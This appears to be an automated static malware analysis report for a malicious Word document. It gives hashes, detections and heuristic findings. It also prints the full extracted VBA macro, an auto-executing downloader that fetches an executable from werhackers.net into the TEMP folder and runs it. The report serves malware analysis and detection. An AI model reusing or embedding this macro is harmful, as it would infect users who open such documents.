Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 473c3aeb8765a8aa…

MALICIOUS

Office (OLE)

33.0 KB Created: 2014-06-07 02:13:00 Authoring application: Microsoft Office Word First seen: 2014-06-15
MD5: a1acfb71d697c1526e2e713bf3d479fd SHA-1: 35e137a406b00fcfbe6d67502c5860aec2fa4284 SHA-256: 473c3aeb8765a8aa8a47006d51aaa075a9439a9fb8391ec9026f0894a5017172
354 Risk Score

Heuristics 12

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        NQPTRSSBCYK = Shell(PEERRIDIQVY, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal TLJWRUSJLGP As Long, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        DNDECKZOXWJ "http://www.werhackers.net/beta.exe", Environ("TEMP") & "\IMAYLJNXVXQ.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.werhackers.net/beta.exe� Referenced by macro
    • http://www.werhackers.net/beta.exeReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1333 bytes
SHA-256: 4cfe771bb87ae77d178cc7844d13dc1a46cdfc2fa1945a0adc77d2723c2bd1a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal TLJWRUSJLGP As Long, _
ByVal MEDGHOHPFFH As String, ByVal TPJQFEYKDCI As String, ByVal RZCFEHBIIYK As Long, _
ByVal CISUVKNIFSV As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal TLJWRUSJLGP As Long, _
ByVal MEDGHOHPFFH As String, ByVal TPJQFEYKDCI As String, ByVal RZCFEHBIIYK As Long, _
ByVal CISUVKNIFSV As Long) As Long
#End If
Function DNDECKZOXWJ(WNKKRGMUYYH As String, PEERRIDIQVY As String) As Boolean
    Dim CJHMCDDWDHP As Long
    CJHMCDDWDHP = URLDownloadToFileA(0, WNKKRGMUYYH, PEERRIDIQVY, 0, 0)
    If CJHMCDDWDHP = 0 Then DNDECKZOXWJ = True
    Dim NQPTRSSBCYK
    NQPTRSSBCYK = Shell(PEERRIDIQVY, 1)
End Function
Public Sub LSUNBONKADM()
    DNDECKZOXWJ "http://www.werhackers.net/beta.exe", Environ("TEMP") & "\IMAYLJNXVXQ.exe"
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
LSUNBONKADM
End Sub